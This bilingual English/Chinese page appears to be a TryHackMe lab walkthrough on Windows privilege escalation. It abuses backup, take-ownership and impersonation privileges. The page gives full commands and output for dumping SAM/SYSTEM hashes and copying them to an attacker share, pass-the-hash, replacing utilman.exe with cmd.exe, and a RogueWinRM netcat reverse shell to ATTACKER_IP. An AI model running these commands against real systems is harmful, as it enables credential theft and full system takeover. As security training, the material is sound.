&lt;p&gt;A complete list of available privileges on Windows systems is available &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants&quot;&gt;here&lt;/a&gt;. From an attacker&amp;#39;s standpoint, only those privileges that allow us to escalate in the system are of interest. You can find a comprehensive list of exploitable privileges on the &lt;a href=&quot;https://github.com/gtworek/Priv2Admin&quot;&gt;Priv2Admin&lt;/a&gt; Github project.&lt;br&gt;此处提供了 Windows 系统上可用权限的完整列表。从攻击者的角度来看，只有那些允许我们在系统中升级的权限才有意义。您可以在 Priv2Admin Github 项目上找到可利用权限的完整列表。&lt;/p&gt;
&lt;p&gt;While we won&amp;#39;t take a look at each of them, we will showcase how to abuse some of the most common privileges you can find.&lt;br&gt;虽然我们不会逐一介绍，但我们将展示如何滥用一些最常见的特权。&lt;/p&gt;
&lt;h2&gt;SeBackup / SeRestore&lt;/h2&gt;
&lt;p&gt;The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any &lt;u&gt;DACL&lt;/u&gt; in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.&lt;br&gt;SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件，而忽略任何现有的 DACL。此权限背后的想法是允许某些用户从系统执行备份，而无需完全管理权限。&lt;/p&gt;
&lt;p&gt;Having this power, an attacker can trivially escalate privileges on the system by using many techniques. The one we will look at consists of copying the SAM and SYSTEM registry hives to extract the local Administrator&amp;#39;s password hash.&lt;br&gt;有了这种能力，攻击者就可以使用多种技术轻而易举地提升系统上的权限。我们将要研究的配置单元包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希。&lt;/p&gt;
&lt;p&gt;Log in to the target machine via &lt;u&gt;RDP&lt;/u&gt; using the following credentials:&lt;br&gt;使用以下凭据通过 RDP 登录到目标计算机：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;User:&lt;/strong&gt; &lt;strong&gt;THMBackup&lt;/strong&gt; 用户： &lt;strong&gt;THMBackup&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Password:&lt;/strong&gt;** **&lt;strong&gt;CopyMaster555&lt;/strong&gt; 密码： &lt;strong&gt;CopyMaster555&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This account is part of the &amp;quot;Backup Operators&amp;quot; group, which by default is granted the SeBackup and SeRestore privileges. We will need to open a command prompt using the &amp;quot;Open as administrator&amp;quot; option to use these privileges. We will be asked to input our password again to get an elevated console:&lt;br&gt;此帐户是“Backup Operators”组的一部分，默认情况下，该组被授予 SeBackup 和 SeRestore 权限。我们需要使用“以管理员身份打开”选项打开命令提示符才能使用这些权限。我们将被要求再次输入密码以获得提升的控制台：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Privilege%20Escalation-3.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Once on the command prompt, we can check our privileges with the following command:&lt;br&gt;进入命令提示符后，我们可以使用以下命令检查我们的权限：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To backup the SAM and SYSTEM hashes, we can use the following commands:&lt;br&gt;要备份 SAM 和 SYSTEM 哈希，我们可以使用以下命令：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.

C:\&amp;gt; reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will create a couple of files with the registry hives content. We can now copy these files to our attacker machine using SMB or any other available method. For SMB, we can use impacket&amp;#39;s &lt;strong&gt;smbserver.py&lt;/strong&gt; to start a simple &lt;u&gt;SMB&lt;/u&gt; server with a network share in the current directory of our AttackBox:&lt;br&gt;这将创建几个包含注册表配置单元内容的文件。我们现在可以使用 SMB 或任何其他可用方法将这些文件复制到攻击者计算机。对于 SMB，我们可以使用 impacket &lt;strong&gt;smbserver.py&lt;/strong&gt; 来启动一个简单的 SMB 服务器，并在 AttackBox 的当前目录中有一个网络共享：&lt;/p&gt;
&lt;p&gt;Kali 卡莉&lt;u&gt;Linux&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Linux操作系统&lt;/u&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@attackerpc$ mkdir share
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will create a share named &lt;strong&gt;public&lt;/strong&gt; pointing to the &lt;strong&gt;share&lt;/strong&gt; directory, which requires the username and password of our current windows session. After this, we can use the &lt;strong&gt;copy&lt;/strong&gt; command in our windows machine to transfer both files to our AttackBox:&lt;br&gt;这将创建一个名为 &lt;strong&gt;public&lt;/strong&gt; 指向该 &lt;strong&gt;share&lt;/strong&gt; 目录的共享，该共享需要当前 Windows 会话的用户名和密码。在此之后，我们可以在 Windows 机器中使用命令 &lt;strong&gt;copy&lt;/strong&gt; 将两个文件传输到我们的 AttackBox：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
C:\&amp;gt; copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And use impacket to retrieve the users&amp;#39; password hashes:&lt;br&gt;并使用 impacket 检索用户的密码哈希：&lt;/p&gt;
&lt;p&gt;Kali 卡莉&lt;u&gt;Linux&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Linux操作系统&lt;/u&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can finally use the Administrator&amp;#39;s hash to perform a Pass-the-Hash attack and gain access to the target machine with SYSTEM privileges:&lt;br&gt;我们最终可以使用管理员的哈希值来执行 Pass-the-Hash 攻击，并使用 SYSTEM 权限访问目标计算机：&lt;/p&gt;
&lt;p&gt;Kali 卡莉&lt;u&gt;Linux&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Linux操作系统&lt;/u&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@10.10.132.186
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.10.175.90.....
[*] Found writable share ADMIN$
[*] Uploading file nfhtabqO.exe
[*] Opening SVCManager on 10.10.175.90.....
[*] Creating service RoLE on 10.10.175.90.....
[*] Starting service RoLE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32&amp;gt; whoami
nt authority\system
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SeTakeOwnership SeTake所有权&lt;/h2&gt;
&lt;p&gt;The SeTakeOwnership privilege allows a user to take ownership of any object on the system, including files and registry keys, opening up many possibilities for an attacker to elevate privileges, as we could, for example, search for a service running as SYSTEM and take ownership of the service&amp;#39;s executable. For this task, we will be taking a different route, however.&lt;br&gt;SeTakeOwnership 权限允许用户获取系统上任何对象的所有权，包括文件和注册表项，这为攻击者提升权限提供了许多可能性，例如，我们可以搜索作为 SYSTEM 运行的服务并获取服务的可执行文件的所有权。然而，对于这项任务，我们将采取不同的路线。&lt;/p&gt;
&lt;p&gt;Log in to the target machine via &lt;u&gt;RDP&lt;/u&gt; using the following credentials:&lt;br&gt;使用以下凭据通过 RDP 登录到目标计算机：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;User:&lt;/strong&gt; &lt;strong&gt;THMTakeOwnership&lt;/strong&gt; 用户： &lt;strong&gt;THMTakeOwnership&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Password:&lt;/strong&gt; &lt;strong&gt;TheWorldIsMine2022&lt;/strong&gt; 密码： &lt;strong&gt;TheWorldIsMine2022&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To get the SeTakeOwnership privilege, we need to open a command prompt using the &amp;quot;Open as administrator&amp;quot; option. We will be asked to input our password to get an elevated console:&lt;br&gt;要获得 SeTakeOwnership 权限，我们需要使用“以管理员身份打开”选项打开命令提示符。我们将被要求输入密码以获得提升的控制台：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Privilege%20Escalation-4.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Once on the command prompt, we can check our privileges with the following command:&lt;br&gt;进入命令提示符后，我们可以使用以下命令检查我们的权限：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                              State
============================= ======================================== ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set           Disabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We&amp;#39;ll abuse &lt;strong&gt;utilman.exe&lt;/strong&gt; to escalate privileges this time. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen:&lt;br&gt;这次我们将滥用 &lt;strong&gt;utilman.exe&lt;/strong&gt; 特权来升级权限。Utilman 是一个内置的 Windows 应用程序，用于在锁定屏幕期间提供轻松访问选项：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Privilege%20Escalation-5.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Since Utilman is run with SYSTEM privileges, we will effectively gain SYSTEM privileges if we replace the original binary for any payload we like. As we can take ownership of any file, replacing it is trivial.&lt;br&gt;由于 Utilman 是以 SYSTEM 权限运行的，如果我们将原始二进制文件替换为我们喜欢的任何有效负载，我们将有效地获得 SYSTEM 权限。由于我们可以拥有任何文件的所有权，因此替换它是微不足道的。&lt;/p&gt;
&lt;p&gt;To replace utilman, we will start by taking ownership of it with the following command:&lt;br&gt;要替换 utilman，我们将首先使用以下命令获取它的所有权：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; takeown /f C:\Windows\System32\Utilman.exe

SUCCESS: The file (or folder): &amp;quot;C:\Windows\System32\Utilman.exe&amp;quot; now owned by user &amp;quot;WINPRIVESC2\thmtakeownership&amp;quot;.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice that being the owner of a file doesn&amp;#39;t necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need. To give your user full permissions over utilman.exe you can use the following command:&lt;br&gt;请注意，作为文件的所有者并不一定意味着您拥有对该文件的特权，但作为所有者，您可以为自己分配所需的任何权限。若要授予用户对utilman.exe的完全权限，可以使用以下命令：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After this, we will replace utilman.exe with a copy of cmd.exe:&lt;br&gt;在此之后，我们将用 cmd.exe 的副本替换 utilman.exe：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\Windows\System32\&amp;gt; copy cmd.exe utilman.exe
        1 file(s) copied.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To trigger utilman, we will lock our screen from the start button:&lt;br&gt;要触发 utilman，我们将从开始按钮锁定屏幕：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Privilege%20Escalation-6.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;And finally, proceed to click on the &amp;quot;Ease of Access&amp;quot; button, which runs utilman.exe with SYSTEM privileges. Since we replaced it with a cmd.exe copy, we will get a command prompt with SYSTEM privileges:&lt;br&gt;最后，继续单击“易于访问”按钮，该按钮以系统权限utilman.exe运行。由于我们将其替换为cmd.exe副本，因此我们将获得具有 SYSTEM 权限的命令提示符：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Privilege%20Escalation-7.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;h2&gt;SeImpersonate / SeAssignPrimaryToken&lt;/h2&gt;
&lt;p&gt;These privileges allow a process to impersonate other users and act on their behalf. Impersonation usually consists of being able to spawn a process or thread under the security context of another user.&lt;br&gt;这些权限允许进程模拟其他用户并代表他们执行操作。模拟通常包括能够在另一个用户的安全上下文下生成进程或线程。&lt;/p&gt;
&lt;p&gt;Impersonation is easily understood when you think about how an &lt;u&gt;FTP&lt;/u&gt; server works. The &lt;u&gt;FTP&lt;/u&gt; server must restrict users to only access the files they should be allowed to see.&lt;br&gt;当您考虑FTP服务器的工作原理时，模拟很容易理解。FTP 服务器必须限制用户仅访问应允许他们查看的文件。&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s assume we have an &lt;u&gt;FTP&lt;/u&gt; service running with user &lt;strong&gt;ftp&lt;/strong&gt;. Without impersonation, if user Ann logs into the FTP server and tries to access her files, the FTP service would try to access them with its access token rather than Ann&amp;#39;s:&lt;br&gt;假设我们有一个 FTP 服务与用户 &lt;strong&gt;ftp&lt;/strong&gt; 一起运行。在没有模拟的情况下，如果用户 Ann 登录到 FTP 服务器并尝试访问她的文件，则 FTP 服务将尝试使用其访问令牌而不是 Ann 的文件访问它们：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Privilege%20Escalation-8.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;There are several reasons why using ftp&amp;#39;s token is not the best idea: - For the files to be served correctly, they would need to be accessible to the &lt;strong&gt;ftp&lt;/strong&gt; user. In the example above, the FTP service would be able to access Ann&amp;#39;s files, but not Bill&amp;#39;s files, as the DACL in Bill&amp;#39;s files doesn&amp;#39;t allow user &lt;strong&gt;ftp&lt;/strong&gt;. This adds complexity as we must manually configure specific permissions for each served file/directory. - For the operating system, all files are accessed by user &lt;strong&gt;ftp&lt;/strong&gt;, independent of which user is currently logged in to the &lt;u&gt;FTP&lt;/u&gt; service. This makes it impossible to delegate the authorisation to the operating system; therefore, the &lt;u&gt;FTP&lt;/u&gt; service must implement it. - If the &lt;u&gt;FTP&lt;/u&gt; service were compromised at some point, the attacker would immediately gain access to all of the folders to which the &lt;strong&gt;ftp&lt;/strong&gt; user has access.&lt;br&gt;有几个原因可以解释为什么使用 ftp 的令牌不是最好的主意： - 为了正确提供文件， &lt;strong&gt;ftp&lt;/strong&gt; 用户需要可以访问它们。在上面的示例中，FTP 服务将能够访问 Ann 的文件，但不能访问 Bill 的文件，因为 Bill 文件中的 DACL 不允许用户 &lt;strong&gt;ftp&lt;/strong&gt; .这增加了复杂性，因为我们必须为每个提供的文件/目录手动配置特定权限。- 对于操作系统，所有文件都由用户 &lt;strong&gt;ftp&lt;/strong&gt; 访问，与当前登录FTP服务的用户无关。这使得无法将授权委托给操作系统;因此，FTP 服务必须实现它。- 如果 FTP 服务在某个时候遭到入侵，攻击者将立即访问用户 &lt;strong&gt;ftp&lt;/strong&gt; 有权访问的所有文件夹。&lt;/p&gt;
&lt;p&gt;If, on the other hand, the FTP service&amp;#39;s user has the SeImpersonate or SeAssignPrimaryToken privilege, all of this is simplified a bit, as the &lt;u&gt;FTP&lt;/u&gt; service can temporarily grab the access token of the user logging in and use it to perform any task on their behalf:&lt;br&gt;另一方面，如果 FTP 服务的用户具有 SeImpersonate 或 SeAssignPrimaryToken 权限，则所有这些都会简化一些，因为 FTP 服务可以临时获取登录用户的访问令牌，并使用它来代表他们执行任何任务：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Privilege%20Escalation-9.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Now, if user Ann logs in to the FTP service and given that the ftp user has impersonation privileges, it can borrow Ann&amp;#39;s access token and use it to access her files. This way, the files don&amp;#39;t need to provide access to user &lt;strong&gt;ftp&lt;/strong&gt; in any way, and the operating system handles authorisation. Since the FTP service is impersonating Ann, it won&amp;#39;t be able to access Jude&amp;#39;s or Bill&amp;#39;s files during that session.&lt;br&gt;现在，如果用户 Ann 登录到 FTP 服务，并且给定 ftp 用户具有模拟权限，则可以借用 Ann 的访问令牌并使用它来访问她的文件。这样，文件不需要以任何方式向用户 &lt;strong&gt;ftp&lt;/strong&gt; 提供访问权限，并且操作系统会处理授权。由于 FTP 服务正在模拟 Ann，因此在该会话期间，它将无法访问 Jude 或 Bill 的文件。&lt;/p&gt;
&lt;p&gt;As attackers, if we manage to take control of a process with SeImpersonate or SeAssignPrimaryToken privileges, we can impersonate any user connecting and authenticating to that process.&lt;br&gt;作为攻击者，如果我们设法使用 SeImpersonate 或 SeAssignPrimaryToken 权限控制进程，我们可以模拟连接到该进程并进行身份验证的任何用户。&lt;/p&gt;
&lt;p&gt;In Windows systems, you will find that the LOCAL SERVICE and NETWORK SERVICE ACCOUNTS already have such privileges. Since these accounts are used to spawn services using restricted accounts, it makes sense to allow them to impersonate connecting users if the service needs. Internet Information Services (IIS) will also create a similar default account called &amp;quot;iis apppool\defaultapppool&amp;quot; for web applications.&lt;br&gt;在 Windows 系统中，您会发现 LOCAL SERVICE 和 NETWORK SERVICE ACCOUNTS 已经具有此类权限。由于这些帐户用于使用受限帐户生成服务，因此如果服务需要，允许它们模拟连接用户是有意义的。Internet Information Services （IIS） 还将为 Web 应用程序创建一个名为“iis apppool\defaultapppool”的类似默认帐户。&lt;/p&gt;
&lt;p&gt;To elevate privileges using such accounts, an attacker needs the following: 1. To spawn a process so that users can connect and authenticate to it for impersonation to occur. 2. Find a way to force privileged users to connect and authenticate to the spawned malicious process.&lt;br&gt;若要使用此类帐户提升权限，攻击者需要满足以下条件： 1. 生成一个进程，以便用户可以连接到该进程并对其进行身份验证，以便进行模拟。2. 找到一种方法来强制特权用户连接到生成的恶意进程并进行身份验证。&lt;/p&gt;
&lt;p&gt;We will use RogueWinRM exploit to accomplish both conditions.&lt;br&gt;我们将使用 RogueWinRM 漏洞来满足这两个条件。&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s start by assuming we have already compromised a website running on IIS and that we have planted a web shell on the following address:&lt;br&gt;让我们首先假设我们已经破坏了在 IIS 上运行的网站，并且我们已经在以下地址上植入了一个 Web Shell：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://10.10.132.186/&quot;&gt;http://10.10.132.186/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We can use the web shell to check for the assigned privileges of the compromised account and confirm we hold both privileges of interest for this task:&lt;br&gt;我们可以使用 Web shell 来检查被入侵帐户的分配权限，并确认我们拥有此任务的两个相关权限：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Privilege%20Escalation-10.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;To use RogueWinRM, we first need to upload the exploit to the target machine. For your convenience, this has already been done, and you can find the exploit in the *&lt;em&gt;C:\tools*&lt;/em&gt; folder.&lt;br&gt;要使用 RogueWinRM，我们首先需要将漏洞上传到目标计算机。为方便起见，这已经完成，您可以在 *&lt;em&gt;C:\tools*&lt;/em&gt; 文件夹中找到该漏洞。&lt;/p&gt;
&lt;p&gt;The RogueWinRM exploit is possible because whenever a user (including unprivileged users) starts the BITS service in Windows, it automatically creates a connection to port 5985 using SYSTEM privileges. Port 5985 is typically used for the WinRM service, which is simply a port that exposes a Powershell console to be used remotely through the network. Think of it like &lt;u&gt;SSH&lt;/u&gt;, but using Powershell.&lt;br&gt;RogueWinRM 漏洞是可能的，因为每当用户（包括非特权用户）在 Windows 中启动 BITS 服务时，它都会使用 SYSTEM 权限自动创建与端口 5985 的连接。端口 5985 通常用于 WinRM 服务，它只是一个端口，用于公开要通过网络远程使用的 Powershell 控制台。可以把它想象成 SSH，但使用 Powershell。&lt;/p&gt;
&lt;p&gt;If, for some reason, the WinRM service isn&amp;#39;t running on the victim server, an attacker can start a fake WinRM service on port 5985 and catch the authentication attempt made by the BITS service when starting. If the attacker has SeImpersonate privileges, he can execute any command on behalf of the connecting user, which is SYSTEM.&lt;br&gt;如果由于某种原因，WinRM 服务未在受害服务器上运行，则攻击者可以在端口 5985 上启动虚假的 WinRM 服务，并在启动时捕获 BITS 服务进行的身份验证尝试。如果攻击者具有 SeImpersonate 权限，他可以代表连接用户执行任何命令，即 SYSTEM。&lt;/p&gt;
&lt;p&gt;Before running the exploit, we&amp;#39;ll start a netcat listener to receive a reverse shell on our attacker&amp;#39;s machine:&lt;br&gt;在运行漏洞利用之前，我们将启动一个 netcat 侦听器，以在攻击者的计算机上接收反向 shell：&lt;/p&gt;
&lt;p&gt;Kali 卡莉&lt;u&gt;Linux&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Linux操作系统&lt;/u&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@attackerpc$ nc -lvp 4442
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then, use our web shell to trigger the RogueWinRM exploit using the following command:&lt;br&gt;然后，使用我们的 Web shell 通过以下命令触发 RogueWinRM 漏洞：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;c:\tools\RogueWinRM\RogueWinRM.exe -p &amp;quot;C:\tools\nc64.exe&amp;quot; -a &amp;quot;-e cmd.exe ATTACKER_IP 4442&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Privilege%20Escalation-11.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The exploit may take up to 2 minutes to work, so your browser may appear as unresponsive for a bit. This happens if you run the exploit multiple times as it must wait for the BITS service to stop before starting it again. The BITS service will stop automatically after 2 minutes of starting.&lt;br&gt;注意：该漏洞最多可能需要 2 分钟才能起作用，因此您的浏览器可能会在一段时间内显示为无响应。如果多次运行漏洞利用，则会发生这种情况，因为它必须等待 BITS 服务停止，然后才能重新启动它。BITS 服务将在启动 2 分钟后自动停止。&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;-p&lt;/strong&gt; parameter specifies the executable to be run by the exploit, which is &lt;strong&gt;nc64.exe&lt;/strong&gt; in this case. The &lt;strong&gt;-a&lt;/strong&gt; parameter is used to pass arguments to the executable. Since we want nc64 to establish a reverse shell against our attacker machine, the arguments to pass to netcat will be &lt;strong&gt;-e cmd.exe ATTACKER_IP 4442&lt;/strong&gt;.&lt;br&gt;该 &lt;strong&gt;-p&lt;/strong&gt; 参数指定要由漏洞利用运行的可执行文件，在本例中为 &lt;strong&gt;nc64.exe&lt;/strong&gt; 该参数。该 &lt;strong&gt;-a&lt;/strong&gt; 参数用于将参数传递给可执行文件。由于我们希望 nc64 针对我们的攻击者机器建立一个反向 shell，因此要传递给 netcat 的参数将是 &lt;strong&gt;-e cmd.exe ATTACKER_IP 4442&lt;/strong&gt; 。&lt;/p&gt;
&lt;p&gt;If all was correctly set up, you should expect a shell with SYSTEM privileges:&lt;br&gt;如果设置正确，则应使用具有 SYSTEM 权限的 shell：&lt;/p&gt;
&lt;p&gt;Kali 卡莉&lt;u&gt;Linux&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Linux操作系统&lt;/u&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@attackerpc$ nc -lvp 4442
Listening on 0.0.0.0 4442
Connection received on 10.10.175.90 49755
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv&amp;gt;whoami
nt authority\system
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using any of the three methods discussed in this task, gain access to the Administrator&amp;#39;s desktop and collect the flag. Don&amp;#39;t forget to input the flag at the end of this task.&lt;br&gt;使用此任务中讨论的三种方法中的任何一种，访问管理员的桌面并收集标志。不要忘记在此任务结束时输入标志。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Get the flag on the Administrator&amp;#39;s desktop.&lt;br&gt;在管理员的桌面上获取标志。&lt;/p&gt;
&lt;p&gt;THM{SEFLAGPRIVILEGE}&lt;/p&gt;
&lt;h1&gt;&lt;/h1&gt;
&lt;p&gt;Abusing vulnerable software
Make sure to click the &lt;strong&gt;Start Machine&lt;/strong&gt; button before you continue, which will deploy the target machine in split-view. If you prefer connecting to the machine via &lt;u&gt;RDP&lt;/u&gt;, you can use the following credentials:&lt;br&gt;在继续操作之前，请确保单击“启动计算机”按钮，这将在拆分视图中部署目标计算机。如果希望通过 RDP 连接到计算机，可以使用以下凭据：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Privilege%20Escalation-12.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;Username&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;thm-unpriv&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;Password&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Password321&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;Unpatched Software 未打补丁的软件&lt;/h2&gt;
&lt;p&gt;Software installed on the target system can present various privilege escalation opportunities. As with drivers, organisations and users may not update them as often as they update the operating system. You can use the &lt;strong&gt;wmic&lt;/strong&gt; tool to list software installed on the target system and its versions. The command below will dump information it can gather on installed software (it might take around a minute to finish):&lt;br&gt;安装在目标系统上的软件可能会提供各种权限提升机会。与驱动程序一样，组织和用户可能不会像更新操作系统那样频繁地更新它们。您可以使用该 &lt;strong&gt;wmic&lt;/strong&gt; 工具列出目标系统上安装的软件及其版本。下面的命令将转储它可以在已安装的软件上收集的信息（可能需要大约一分钟才能完成）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wmic product get name,version,vendor
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Remember that the &lt;strong&gt;wmic product&lt;/strong&gt; command may not return all installed programs. Depending on how some of the programs were installed, they might not get listed here. It is always worth checking desktop shortcuts, available services or generally any trace that indicates the existence of additional software that might be vulnerable.&lt;br&gt;请记住，该 &lt;strong&gt;wmic product&lt;/strong&gt; 命令可能不会返回所有已安装的程序。根据某些程序的安装方式，它们可能不会在此处列出。始终值得检查桌面快捷方式、可用服务或通常表明存在可能易受攻击的其他软件的任何跟踪。&lt;/p&gt;
